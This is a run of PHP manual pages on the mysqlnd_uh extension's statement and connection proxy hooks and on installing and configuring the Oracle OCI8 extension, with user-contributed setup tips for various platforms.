Mysqlnd prepared statement handle. Do not modify! Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!).

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhPreparedStatement::execute() example

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function execute($res) {
  printf("%s(", __METHOD__);
  var_dump($res);
  printf(")\n");
  $ret = parent::execute($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'Labskaus' AS _msg FROM DUAL");
$stmt->execute();
$msg = NULL;
$stmt->bind_result($msg);
$stmt->fetch();
var_dump($msg);
?>

The above example will output:

stmt_proxy::execute(resource(256) of type (Mysqlnd Prepared Statement (internal only - you must not modify it!))
)
stmt_proxy::execute returns true
bool(true)
string(8) "Labskaus"

See Also

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqli_stmt_execute() - Executes a prepared Query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhPreparedStatement::__construct
MysqlndUhPreparedStatement::prepare
MysqlndUhPreparedStatement


Prepare an SQL statement for execution

MysqlndUhPreparedStatement::execute
Mysqlnd_uh Functions
MysqlndUhPreparedStatement
PHP Manual

MysqlndUhPreparedStatement::prepare

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution

Description

public bool MysqlndUhPreparedStatement::prepare ( mysqlnd_prepared_statement $statement , string $query )

Prepare an SQL statement for execution.

Parameters

statement

Mysqlnd prepared statement handle. Do not modify! Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!).

query

The query to be prepared.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhPreparedStatement::prepare() example

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $query = "SELECT 'No more you-know-what-I-mean for lunch, please' AS _msg FROM DUAL";
  $ret = parent::prepare($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'Labskaus' AS _msg FROM DUAL");
$stmt->execute();
$msg = NULL;
$stmt->bind_result($msg);
$stmt->fetch();
var_dump($msg);
?>

The above example will output:

stmt_proxy::prepare(array (
  0 => NULL,
  1 => 'SELECT \'Labskaus\' AS _msg FROM DUAL',
))
stmt_proxy::prepare returns true
bool(true)
string(46) "No more you-know-what-I-mean for lunch, please"

See Also

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqli_stmt_prepare() - Prepare an SQL statement for execution
  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhPreparedStatement::execute
Mysqlnd_uh Functions
MysqlndUhPreparedStatement


Mysqlnd_uh Functions

Table of Contents

  • mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle
  • mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections
  • mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhPreparedStatement::prepare
mysqlnd_uh_convert_to_mysqlnd
mysqlnd_uh


Converts a MySQL connection handle into a mysqlnd connection handle

Mysqlnd_uh Functions
mysqlnd_uh_set_connection_proxy
Mysqlnd_uh Functions
PHP Manual

mysqlnd_uh_convert_to_mysqlnd

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle

Description

resource mysqlnd_uh_convert_to_mysqlnd ( mysqli &$mysql_connection )

Converts a MySQL connection handle into a mysqlnd connection handle. After conversion you can execute mysqlnd library calls on the connection handle. This can be used to access mysqlnd functionality not made available through user space API calls.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to FALSE the function will not install the proxy and always return TRUE. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_convert_to_mysqlnd(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. You are not allowed to call this function [...].

Parameters

MySQL connection handle

A MySQL connection handle of type mysql, mysqli or PDO_MySQL.

Note:

The MySQL connection handle can be of no other type but mysqli if using PHP < 5.4.0.

Return Values

A mysqlnd connection handle.

Examples

Example #1 mysqlnd_uh_convert_to_mysqlnd() example

<?php
/* PDO user API gives no access to connection thread id */
$mysql_connection = new PDO("mysql:host=localhost;dbname=test", "root", "");

/* Convert PDO MySQL handle to mysqlnd handle */
$mysqlnd = mysqlnd_uh_convert_to_mysqlnd($mysql_connection);

/* Create Proxy to call mysqlnd connection class methods */
$obj = new MySQLndUHConnection();
/* Call mysqlnd_conn::get_thread_id */
var_dump($obj->getThreadId($mysqlnd));

/* Use SQL to fetch connection thread id */
var_dump($mysql_connection->query("SELECT CONNECTION_ID()")->fetchAll());
?>

The above example will output:

int(27054)
array(1) {
  [0]=>
  array(2) {
    ["CONNECTION_ID()"]=>
    string(5) "27054"
    [0]=>
    string(5) "27054"
  }
}

See Also

  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.
Mysqlnd_uh Functions
mysqlnd_uh_set_connection_proxy
Mysqlnd_uh Functions


Installs a proxy for mysqlnd connections

mysqlnd_uh_convert_to_mysqlnd
mysqlnd_uh_set_statement_proxy
Mysqlnd_uh Functions
PHP Manual

mysqlnd_uh_set_connection_proxy

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections

Description

bool mysqlnd_uh_set_connection_proxy ( MysqlndUhConnection &$connection_proxy [, mysqli &$mysqli_connection ] )

Installs a proxy object to hook mysqlnd's connection objects methods. Once installed, the proxy will be used for all MySQL connections opened with mysqli, mysql or PDO_MYSQL, assuming that the listed extensions are compiled to use the mysqlnd library.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to FALSE the function will not install the proxy and always return TRUE. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_set_connection_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed [...].

Parameters

connection_proxy

A proxy object of type MysqlndUhConnection.

mysqli_connection

Object of type mysqli. If given, the proxy will be set for this particular connection only.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 mysqlnd_uh_set_connection_proxy() example

<?php
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 'No proxy installed, yet'");

class proxy extends MysqlndUhConnection {
 public function query($res, $query) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::query($res, $query);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli->query("SELECT 'mysqlnd rocks!'");

$mysql = mysql_connect("localhost", "root", "", "test");
mysql_query("SELECT 'Ahoy Andrey!'", $mysql);

$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
$pdo->query("SELECT 'Moin Johannes!'");
?>

The above example will output:

proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'mysqlnd rocks!\'',
))
proxy::query returns true
proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Ahoy Andrey!\'',
))
proxy::query returns true
proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Moin Johannes!\'',
))
proxy::query returns true

See Also

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_uh_convert_to_mysqlnd
mysqlnd_uh_set_statement_proxy
Mysqlnd_uh Functions


Installs a proxy for mysqlnd statements

mysqlnd_uh_set_connection_proxy
Change History
Mysqlnd_uh Functions
PHP Manual

mysqlnd_uh_set_statement_proxy

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements

Description

bool mysqlnd_uh_set_statement_proxy ( MysqlndUhStatement &$statement_proxy )

Installs a proxy for mysqlnd statements. The proxy object will be used for all mysqlnd prepared statement objects, regardless which PHP MySQL extension (mysqli, mysql, PDO_MYSQL) has created them as long as the extension is compiled to use the mysqlnd library.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to FALSE the function will not install the proxy and always return TRUE. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_set_statement_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed [...].

Parameters

statement_proxy

The mysqlnd statement proxy object of type MysqlndUhStatement

Return Values

Returns TRUE on success. Otherwise, returns FALSE

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_uh_set_connection_proxy
Change History
Mysqlnd_uh Functions


Change History

Table of Contents

  • PECL/mysqlnd_uh 1.0 series

The Change History lists major changes users need to be aware if upgrading from one version to another. It is a high level summary of selected changes that may impact applications or might even break backwards compatibility. Please, consult the CHANGES file contained in the source distribution for a more complete list of changes. If you are eager to learn about all changes, even smaller ones that do not make it into the CHANGES file, you may want to monitor PECL commit messages. To do you, you could, for example, subscribe to the PECL commit message mailing list.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_uh_set_statement_proxy
PECL/mysqlnd_uh 1.0 series
mysqlnd_uh


PECL/mysqlnd_uh 1.0 series

1.0.1-alpha

  • Release date: TBD
  • Motto/theme: bug fix release

Feature changes

  • Support of PHP 5.4.0 or later.
  • BC break: MysqlndUhConnection::changeUser() requires additional passwd_len parameter.
  • BC break: MYSQLND_UH_VERSION_STR renamed to MYSQLND_UH_VERSION. MYSQLND_UH_VERSION renamed to MYSQLND_UH_VERSION_ID.
  • BC break: mysqlnd_uh.enabled configuration setting renamed to mysqlnd_uh.enable.

1.0.0-alpha

  • Release date: 08/2010
  • Motto/theme: Initial release

User Contributed Notes

There are no user contributed notes for this page.
Change History
OCI8
Change History


Oracle OCI8

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Testing
    • Runtime Configuration
  • Predefined Constants
  • Examples
  • Connection Handling
  • Supported Datatypes
  • OCI8 Functions
    • OCI-Collection::append — Appends element to the collection
    • OCI-Collection::assign — Assigns a value to the collection from another existing collection
    • OCI-Collection::assignElem — Assigns a value to the element of the collection
    • OCI-Collection::free — Frees the resources associated with the collection object
    • OCI-Collection::getElem — Returns value of the element
    • OCI-Collection::max — Returns the maximum number of elements in the collection
    • OCI-Collection::size — Returns size of the collection
    • OCI-Collection::trim — Trims elements from the end of the collection
    • OCI-Lob::append — Appends data from the large object to another large object
    • OCI-Lob::close — Closes LOB descriptor
    • OCI-Lob::eof — Tests for end-of-file on a large object's descriptor
    • OCI-Lob::erase — Erases a specified portion of the internal LOB data
    • OCI-Lob::export — Exports LOB's contents to a file
    • OCI-Lob::flush — Flushes/writes buffer of the LOB to the server
    • OCI-Lob::free — Frees resources associated with the LOB descriptor
    • OCI-Lob::getBuffering — Returns current state of buffering for the large object
    • OCI-Lob::import — Imports file data to the LOB
    • OCI-Lob::load — Returns large object's contents
    • OCI-Lob::read — Reads part of the large object
    • OCI-Lob::rewind — Moves the internal pointer to the beginning of the large object
    • OCI-Lob::save — Saves data to the large object
    • OCI-Lob::saveFile — Alias of OCI-Lob::import
    • OCI-Lob::seek — Sets the internal pointer of the large object
    • OCI-Lob::setBuffering — Changes current state of buffering for the large object
    • OCI-Lob::size — Returns size of large object
    • OCI-Lob::tell — Returns the current position of internal pointer of large object
    • OCI-Lob::truncate — Truncates large object
    • OCI-Lob::write — Writes data to the large object
    • OCI-Lob::writeTemporary — Writes a temporary large object
    • OCI-Lob::writeToFile — Alias of OCI-Lob::export
    • oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter
    • oci_bind_by_name — Binds a PHP variable to an Oracle placeholder
    • oci_cancel — Cancels reading from cursor
    • oci_client_version — Returns the Oracle client library version
    • oci_close — Closes an Oracle connection
    • oci_commit — Commits the outstanding database transaction
    • oci_connect — Connect to an Oracle database
    • oci_define_by_name — Associates a PHP variable with a column for query fetches
    • oci_error — Returns the last error found
    • oci_execute — Executes a statement
    • oci_fetch_all — Fetches multiple rows from a query into a two-dimensional array
    • oci_fetch_array — Returns the next row from a query as an associative or numeric array
    • oci_fetch_assoc — Returns the next row from a query as an associative array
    • oci_fetch_object — Returns the next row from a query as an object
    • oci_fetch_row — Returns the next row from a query as a numeric array
    • oci_fetch — Fetches the next row from a query into internal buffers
    • oci_field_is_null — Checks if the field is NULL
    • oci_field_name — Returns the name of a field from the statement
    • oci_field_precision — Tell the precision of a field
    • oci_field_scale — Tell the scale of the field
    • oci_field_size — Returns field's size
    • oci_field_type_raw — Tell the raw Oracle data type of the field
    • oci_field_type — Returns field's data type
    • oci_free_statement — Frees all resources associated with statement or cursor
    • oci_internal_debug — Enables or disables internal debug output
    • oci_lob_copy — Copies large object
    • oci_lob_is_equal — Compares two LOB/FILE locators for equality
    • oci_new_collection — Allocates new collection object
    • oci_new_connect — Connect to the Oracle server using a unique connection
    • oci_new_cursor — Allocates and returns a new cursor (statement handle)
    • oci_new_descriptor — Initializes a new empty LOB or FILE descriptor
    • oci_num_fields — Returns the number of result columns in a statement
    • oci_num_rows — Returns number of rows affected during statement execution
    • oci_parse — Prepares an Oracle statement for execution
    • oci_password_change — Changes password of Oracle's user
    • oci_pconnect — Connect to an Oracle database using a persistent connection
    • oci_result — Returns field's value from the fetched row
    • oci_rollback — Rolls back the outstanding database transaction
    • oci_server_version — Returns the Oracle Database version
    • oci_set_action — Sets the action name
    • oci_set_client_identifier — Sets the client identifier
    • oci_set_client_info — Sets the client information
    • oci_set_edition — Sets the database edition
    • oci_set_module_name — Sets the module name
    • oci_set_prefetch — Sets number of rows to be prefetched by queries
    • oci_statement_type — Returns the type of a statement
  • OCI8 Obsolete Aliases and Functions
    • ocibindbyname — Alias of oci_bind_by_name
    • ocicancel — Alias of oci_cancel
    • ocicloselob — Alias of OCI-Lob::close
    • ocicollappend — Alias of OCI-Collection::append
    • ocicollassign — Alias of OCI-Collection::assign
    • ocicollassignelem — Alias of OCI-Collection::assignElem
    • ocicollgetelem — Alias of OCI-Collection::getElem
    • ocicollmax — Alias of OCI-Collection::max
    • ocicollsize — Alias of OCI-Collection::size
    • ocicolltrim — Alias of OCI-Collection::trim
    • ocicolumnisnull — Alias of oci_field_is_null
    • ocicolumnname — Alias of oci_field_name
    • ocicolumnprecision — Alias of oci_field_precision
    • ocicolumnscale — Alias of oci_field_scale
    • ocicolumnsize — Alias of oci_field_size
    • ocicolumntype — Alias of oci_field_type
    • ocicolumntyperaw — Alias of oci_field_type_raw
    • ocicommit — Alias of oci_commit
    • ocidefinebyname — Alias of oci_define_by_name
    • ocierror — Alias of oci_error
    • ociexecute — Alias of oci_execute
    • ocifetch — Alias of oci_fetch
    • ocifetchinto — Fetches the next row into an array (deprecated)
    • ocifetchstatement — Alias of oci_fetch_all
    • ocifreecollection — Alias of OCI-Collection::free
    • ocifreecursor — Alias of oci_free_statement
    • ocifreedesc — Alias of OCI-Lob::free
    • ocifreestatement — Alias of oci_free_statement
    • ociinternaldebug — Alias of oci_internal_debug
    • ociloadlob — Alias of OCI-Lob::load
    • ocilogoff — Alias of oci_close
    • ocilogon — Alias of oci_connect
    • ocinewcollection — Alias of oci_new_collection
    • ocinewcursor — Alias of oci_new_cursor
    • ocinewdescriptor — Alias of oci_new_descriptor
    • ocinlogon — Alias of oci_new_connect
    • ocinumcols — Alias of oci_num_fields
    • ociparse — Alias of oci_parse
    • ociplogon — Alias of oci_pconnect
    • ociresult — Alias of oci_result
    • ocirollback — Alias of oci_rollback
    • ocirowcount — Alias of oci_num_rows
    • ocisavelob — Alias of OCI-Lob::save
    • ocisavelobfile — Alias of OCI-Lob::import
    • ociserverversion — Alias of oci_server_version
    • ocisetprefetch — Alias of oci_set_prefetch
    • ocistatementtype — Alias of oci_statement_type
    • ociwritelobtofile — Alias of OCI-Lob::export
    • ociwritetemporarylob — Alias of OCI-Lob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.
PECL/mysqlnd_uh 1.0 series
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow you to access Oracle Database 11g, 10g, 9i and 8i. They support SQL and PL/SQL statements. Basic features include transaction control, binding of PHP variables to Oracle placeholders, and support for large object (LOB) types and collections. Oracle's scalability features such as Database Resident Connection Pooling (DRCP) and result caching are also supported.

User Contributed Notes

christopher dot jones at oracle dot com 17-Jun-2007 09:25
There are several good books on PHP and Oracle available - search your favorite bookstore.  There is also a free book from Oracle "The Underground PHP and Oracle Manual" that covers the OCI8 extension:
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
(free registration for OTN required, IIRC). Disclaimer: I'm one of its authors.
OCI8
Installing/Configuring
OCI8


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Testing
  • Runtime Configuration

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
OCI8


Requirements

The OCI8 extension requires Oracle 9iR2, 10g or 11g Client libraries. If the Oracle Database is on the same machine as PHP, the database software already contains the necessary libraries. When PHP is on a different machine, use the free » Oracle Instant Client libraries.

To use Oracle Instant Client, install the basic or basiclite Oracle Instant Client ZIP file or RPM package. When building PHP from source code, also install the sdk ZIP file or devel RPM package.

On Windows, the php_oci8 DLL needs client libraries from version 10gR2 or greater. In PHP 5.3 up to and including PHP 5.3.5, the php_oci8_11g DLL requires Oracle 11gR1 or greater client libraries. From PHP 5.3.6 the php_oci8_11g DLL requires Oracle 11gR2 or greater client libraries. With some versions of Instant Client you may additionally need mfc71.dll and msvcr71.dll libraries.

You should run PHP with the same, or more recent, version of the Oracle libraries that OCI8 was built with.

Note:

If OCI8 uses 9iR2 or 10g client libraries, then PHP can connect to Oracle Database 8i, 9iR2, 10g or 11g. If OCI8 uses 11g client libraries, the database can be 9iR2, 10g or 11g.

Note:

Full OCI8 feature support is only available when using the most recent versions of the client libraries and database.

User Contributed Notes

dha at octo dot com 05-Jan-2011 04:04
If you plan to use Oracle Internet Directory with LDAPS, you NEED to compile the php-ldap library with Oracle Support.

Also, with OID 10g I had to create a folder, reference it in the env variable $ORACLE_HOME, and copy in it three ldap message files found in my OID installation.

At the end, my $ORACLE_HOME looked like this :
ldap
  mesg
    ldapf.msb
    ldapus.msb
    ldapus.msg

(Note that the ldapf.msb is here because I have a french installation of OID)

To use ldaps, you will need to use ldap_connect this way :

ldap_connect(host,port,"file://path/to/wallet",walletpassword,sslauth)

Your wallet only needs to contain the CA (secure) certificate.

with sslauth being :
  1 for no ssl authentication
  32 for ssl server authentication
  64 for ssl mutual authentication
Installing/Configuring
Installation
Installing/Configuring


Installation

Configuring PHP with OCI8

Review the previous Requirements section before configuring OCI8.

To enable the OCI8 extension, configure PHP with the option --with-oci8 .

Before starting the web server, OCI8 typically requires several Oracle environment variables (see below) to locate libraries, point to configuration files, and set some basic properties such as the character set used by Oracle libraries. The variables should be set before any PHP process starts.

PHP should be run with the same, or more recent, major version of Oracle libraries as it was configured with. For example, if you build OCI8 with Oracle 11.2 libraries, then PHP should also be deployed and run with Oracle 11.2 libraries.

Installing OCI8 as a Shared Extension

The configuration shared option builds OCI8 as a shared library that can be dynamically loaded into PHP. Building a shared extension allows OCI8 to be upgraded easily without impacting the rest of PHP.

Configure OCI8 using one of the following configure options.

  • If using Oracle Instant Client, then do:

    ./configure --with-oci8=shared,instantclient,/path/to/instant/client/lib

    If Instant Client is installed from ZIP files, make sure to create the library symbolic link, for example ln -s libclntsh.so.11.1 libclntsh.so.

    If using an RPM-based installation of Oracle Instant Client, the configure line will look like this:

    ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/<version>/client/lib

    For example, --with-oci8=shared,instantclient,/usr/lib/oracle/11.2/client/lib .

    Note that Oracle Instant Client support first appeared in PHP 4.3.11 and 5.0.4 and originally used the option --with-oci8-instant-client to configure PHP.

  • If using an Oracle database or full Oracle Client installation then do:

    ./configure --with-oci8=shared,$ORACLE_HOME

    Make sure the web server user (nobody, www) has access to the libraries, initialization files and tnsnames.ora (if used) under the $ORACLE_HOME directory. With Oracle 10gR2, you may need to run the $ORACLE_HOME/install/changePerm.sh utility to give directory access.

After configuration, follow the usual PHP building procedure, e.g. make install. The OCI8 shared extension oci8.so library will be created. It may need to be manually moved to the PHP extension directory, specified by the extension_dir option in your php.ini file.

To complete installation of OCI8, edit php.ini and add the line:

extension=oci8.so

Installing OCI8 as a Statically Compiled Extension

Configure OCI8 using one of the following configure options.

  • If using Oracle Instant Client, then do:

    ./configure --with-oci8=instantclient,/path/to/instant/client/lib

  • If using an Oracle database or full Oracle Client installation then do:

    ./configure --with-oci8=$ORACLE_HOME

After configuration, follow the usual PHP building procedure, e.g. make install. After successful compilation, you do not need to add oci8.so to php.ini. No additional build steps are required.

Installing OCI8 from PECL

The OCI8 extension can be added to an existing PHP installation either automatically or manually from » http://pecl.php.net/. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/oci8.

For an automated install follow these steps:

  • If you are behind a firewall, set PEAR's proxy, for example:

    pear config-set http_proxy http://my-proxy.example.com:80/

  • Run

    pecl install oci8

    When prompted, enter either the value of $ORACLE_HOME, or instantclient,/path/to/instant/client/lib.

    Note: Do not enter the variable $ORACLE_HOME because it will not be expanded. Instead, enter the actual path of the Oracle home directory.

For a manual install, download the PECL OCI8 package, e.g. oci8-1.3.5.tgz.

  • Extract the package:

    tar -zxf oci8-1.3.5.tgz
cd oci8-1.3.5

  • Prepare the package:

    phpize

  • Configure the package, either using $ORACLE_HOME or Instant Client

    ./configure -with-oci8=shared,$ORACLE_HOME

    or

    ./configure -with-oci8=shared,instantclient,/path/to/instant/client/lib

  • Install the package:

    make install

After either an automatic or manual install, edit your php.ini file and add the line:

extension=oci8.so

Make sure the php.ini directive extension_dir is set to the directory that oci8.so was installed in.

Installing OCI8 on Windows

On Windows, uncomment the php.ini line extension=php_oci8.dll when using Oracle 10gR2 client libraries. Uncomment extension=php_oci8_11g.dll when using Oracle 11g client libraries. These two DLLs contain equivalent functionality and only one may be enabled at a time. Make sure extension_dir is set to the directory containing the PHP extension DLLs.

If using Instant Client, set the system PATH environment variable to the Oracle library directory.

Setting the Oracle Environment

Before using this extension, make sure that the Oracle environment variables are properly set for the web daemon user. If your web server is automatically started at boot time then make sure that the boot-time environment is also configured correctly.

Note:

Do not set Oracle environment variables using putenv() in a PHP script because Oracle libraries may be loaded and initialized before your script runs. Variables set with putenv() may then cause conflicts, crashes, or unpredictable behavior. Some functions may work but others might give subtle errors. The variables should be set up before the web server is started.

On Red Hat Linux and variants, export variables at the end of /etc/sysconfig/httpd. Other systems with Apache 2 may use an envvars script in the Apache bin directory. A third option, the Apache SetEnv directive in httpd.conf, may work in some systems but is known to be insufficient in others.

To check that environment variables are set correctly, use phpinfo() and check the Environment (not the Apache Environment) section contains the expected variables.

The variables that might be needed are included in the following table. Refer to the Oracle documentation for more information on all the variables.

Common Oracle Environment Variables
Name | Purpose
ORACLE_HOME | Contains the directory of the full Oracle Database software. Do not set this when using Oracle Instant Client as it is unnecessary and may cause installation problems.
ORACLE_SID | Contains the name of the database on the local machine to be connected to. There is no need to set this if you using Oracle Instant Client, or always pass the connection parameter to oci_connect().
LD_LIBRARY_PATH | Set this (or its platform equivalent, such as DYLD_LIBRARY_PATH, LIBPATH, or SHLIB_PATH) to the location of the Oracle libraries, for example $ORACLE_HOME/lib or /usr/lib/oracle/11.1/client/lib. This variable is not needed if the libraries are located by a different search mechanism, such as with ldconfig or with LD_PRELOAD.
NLS_LANG | This is the primary variable for setting the character set and globalization information used by the Oracle libraries.
ORA_SDTZ | Sets the Oracle session timezone.
TNS_ADMIN | Contains the directory where the Oracle Net Services configuration files such as tnsnames.ora and sqlnet.ora are kept. Not needed if the oci_connect() connection string uses the Easy Connect naming syntax such as localhost/XE. Not needed if the network configuration files are in one of the default locations such as $ORACLE_HOME/network/admin or /etc.
Less frequently used Oracle environment variables include TWO_TASK, ORA_TZFILE, and the various Oracle globalization settings like NLS* and the ORA_NLS_* variables.

Troubleshooting

The most common problem with installing OCI8 is not having the Oracle environment correctly set. This typically appears as a problem using oci_connect() or oci_pconnect(). The error may be a PHP error such as Call to undefined function oci_connect(), an Oracle error such as ORA-12705, or even an Apache crash. Check the Apache log files for startup errors and see the sections above to resolve this problem.

While network errors like ORA-12154 or ORA-12514 indicate an Oracle network naming or configuration issue, the root cause may be because the PHP environment is incorrectly set up and Oracle libraries are unable to locate the tnsnames.ora configuration file.

On Windows, having multiple versions of Oracle on the one machine can easily cause library clashes unless care is taken to make sure PHP only uses the correct version of Oracle.

A utility to examine what libraries are being looked for and loaded can help resolve missing or clashing library issues, particularly on Windows.

Note: If the web server doesn't start or crashes at startup

Check that Apache is linked with the pthread library:

# ldd /www/apache/bin/httpd
  libpthread.so.0 => /lib/libpthread.so.0 (0x4001c000)
  libm.so.6 => /lib/libm.so.6 (0x4002f000)
  libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004c000)
  libdl.so.2 => /lib/libdl.so.2 (0x4007a000)
  libc.so.6 => /lib/libc.so.6 (0x4007e000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

If the libpthread is not listed, then reinstall Apache:

# cd /usr/src/apache_1.3.xx
# make clean
# LIBS=-lpthread ./config.status
# make
# make install

Please note that on some systems like UnixWare, it is libthread instead of libpthread. PHP and Apache have to be configured with EXTRA_LIBS=-lthread.

User Contributed Notes

P dot D dot Mallinson at liv dot ac dot uk 08-Aug-2011 06:03
Platform: Solaris 10, Apache 2.2, Oracle 11 client

It is well known that the Oracle Instant Client 11g libraries conflict with the OpenLDAP ones.

If features of the 11g client libraries are vital (e.g. needing SQLNET timeouts to work and/or needing to get Oracle service names from directory servers via LDAP - both required in my organisation) then in order to achieve a working oci8 and OpenLDAP setup it is necessary to preload the instant client library in the Apache startup script - e.g.:

# Setup for Oracle 11 instant client
ORACLE_HOME=/usr/local/oracle/instantclient_11_2
export ORACLE_HOME
#
LD_LIBRARY_PATH=/usr/local/oracle/instantclient_11_2:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH
#
LD_PRELOAD=/usr/local/oracle/instantclient_11_2/libclntsh.so.11.1
export LD_PRELOAD
modir at huanga dot com 23-May-2011 03:02
For those of you who would like to install this extension on an RedHat/CentOS server. It is actually pretty simple.

Here is what you have to do:
1) Download the following RPM from Oracle: oracle-instantclient11.2-basiclite-11.2.0.2.0.x86_64.rpm (Version number can be newer and check if you need the 64bit version or not). And then install it on the server.

2) yum install php-oci8

3) And as the last step you edit /etc/sysconfig/httpd and write the following line at the end: export LD_LIBRARY_PATH=/usr/lib/oracle/11.2/client64/lib/ (Attention: Path changes depending on the version you have downloaded from the Oracle website.)
beer at myplace dot now 03-Aug-2009 10:24
I was experiencing issues with Unicode characters being saved incorrectly to my ORA 10 DB. Issue was tracked to not having a NLS_LANG environment variable specified - set this correctly in the Apache environment and the issue was resolved.
benstendahl at hotmail dot com 13-Jul-2009 11:46
When using PHP on an IIS server (Windows Server 2000+):

After installing the Oracle Instant Client and adding it to the "PATH" Environment Variable, be sure that you also add "Read & Execute" privileges to the Oracle Instant Client directory for the IIS user designated for the site.  This is especially necessary if IIS has been hardened using the IIS Lockdown tool (http://technet.microsoft.com/en-us/library/dd450372(WS.10).aspx) as users must be explicitly granted permissions from the web.
nicodenboer (at) yahoo (dot) com 22-Nov-2008 09:35
Hi, I use Oracle Database 10g Express Edition Release
10.2.0.1.0 on a Linux workstation for dev purposes, along
with Apache 2 and PHP5. So far I have used it on Kubuntu 8.04.
To get things working on a recently installed notebook with openSUSE
11.0 was a bit more complicated. So I hope someone will be able to
benefit from our experiences. Here is our howto:

# Use the package manager to install the packages php5-pear and
php5-dev, if not installed yet.

# Download the instantclient_11_1, zip files basic, sdk, sqlplus from the Oracle web site

# Switch to user root here, since not all commands to some work sudo

# Unzip these files to /opt/oracle/.
# As a result you will see a dir instantclient_11_1 appearing.

ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /opt/oracle/instantclient_11_1/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /usr/lib/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libnnz11.so \
   /usr/lib/libnnz11.so
ldconfig # to make sure the system will be able to find the libs

pecl install oci8 # interactively enter option 1,
# then instantclient,/opt/oracle/instantclient_11_1,
# then enter

# if needed, add extension=oci8.so to your php.ini

/etc/init.d/apache2 reload

# finished!

Kind regards,
Nico den Boer
alvaro at demogracia dot com 10-Jun-2008 04:24
If you've followed the instructions and you can't even connect to the DB server, welcome to the Oracle hell. Most of the information you'll find is deprecated, incomplete, not for your platform, unnecessary or just plain wrong.

